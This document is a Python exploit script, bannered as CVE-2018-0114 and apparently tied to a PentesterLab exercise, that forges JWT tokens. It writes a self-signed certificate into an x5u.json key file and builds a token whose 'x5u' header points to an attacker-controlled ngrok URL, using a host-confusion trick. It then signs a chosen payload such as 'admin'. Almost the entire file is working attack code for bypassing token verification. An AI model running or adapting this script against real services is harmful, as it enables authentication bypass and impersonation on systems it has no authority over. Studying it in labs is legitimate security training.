#!/usr/bin/env python3

import base64
from urllib.parse import quote_plus
import sys
from OpenSSL import crypto
from socket import gethostname


def generate_header_payload(payload):
    #create header and payload
    print ("[+]Assembling-the-header-and-the-payload")
    filename = "http://ptl-5cc9b966-853bef94.libcurl.so@7ce3e992ec4b.ngrok.io/x5u.json"
    headerAndPayload = base64.b64encode(('{"alg":"RS256",'
                                        '"typ":"JWT",'
                                        '"x5u":"'+filename+'"}').encode())
    headerAndPayload = headerAndPayload+b"."+base64.b64encode(payload)
    headerAndPayload = headerAndPayload
    print ("\t[+]Assembed")
    return headerAndPayload

def generate_signature(firstpart,privkey):
    #create signature
    signature = crypto.sign(privkey,firstpart,digest)
    signatureEnc = base64.b64encode(signature)
    print ("[+]Signature-created")
    return signatureEnc

def create_token(headerAndPayload,sign):
    print ("[+]Forging-of-the-token\n\n")
    token = (headerAndPayload+b"."+sign).decode('utf-8').rstrip('=')
    print(token)
    token = quote_plus(token)
    return token


def create_self_signed_cert():

    # create a key pair
    k = crypto.PKey()
    k.generate_key(crypto.TYPE_RSA, key_size)

    # create a self-signed cert
    cert = crypto.X509()
    cert.get_subject().C = "UK"
    cert.get_subject().ST = "London"
    cert.get_subject().L = "London"
    cert.get_subject().O = "Dummy Company Ltd"
    cert.get_subject().OU = "Dummy Company Ltd"
    cert.get_subject().CN = gethostname()
    cert.set_serial_number(1000)
    cert.gmtime_adj_notBefore(0)
    cert.gmtime_adj_notAfter(10*365*24*60*60)
    cert.set_issuer(cert.get_subject())
    cert.set_pubkey(k)
    cert.sign(k, digest)

    return cert, k

def write_x5u(cert):

    data=crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('ascii').split("\n")[1:-2] # remove begin + end + empty
    x5u = '{"keys":[{"kty":"RSA","use":"sig","kid":"pentesterlab","x5c":"'+"".join(data)+'","alg":"RS256"}]}'
    with open('x5u.json', 'w') as f:
        f.write(x5u)


if(len(sys.argv)>0):
    payload = bytes(str(sys.argv[1]).encode('ascii'))
    key_size = int(sys.argv[2])
else:
    payload = b'admin'
    key_size = int(512)


banner="""
   _____  __      __  ______            ___     ___    __    ___              ___    __   __   _  _   
  / ____| \ \    / / |  ____|          |__ \   / _ \  /_ |  / _ \            / _ \  /_ | /_ | | || |                    
 | |       \ \  / /  | |__     ______     ) | | | | |  | | | (_) |  ______  | | | |  | |  | | | || |_ 
 | |        \ \/ /   |  __|   |______|   / /  | | | |  | |  > _ <  |______| | | | |  | |  | | |__   _|
 | |____     \  /    | |____            / /_  | |_| |  | | | (_) |          | |_| |  | |  | |    | |  
  \_____|     \/     |______|          |____|  \___/   |_|  \___/            \___/   |_|  |_|    |_|    by @zi0Black    
"""

if __name__ == '__main__':
    print (banner)
    digest = "sha256"
    cert, privatekey = create_self_signed_cert()
    # (privatekey,publickey) = generate_key(key_size)
    write_x5u(cert)
    firstPart = generate_header_payload(payload)
    signature = generate_signature(firstPart,privatekey)
    token = create_token(firstPart,signature)
    print(token)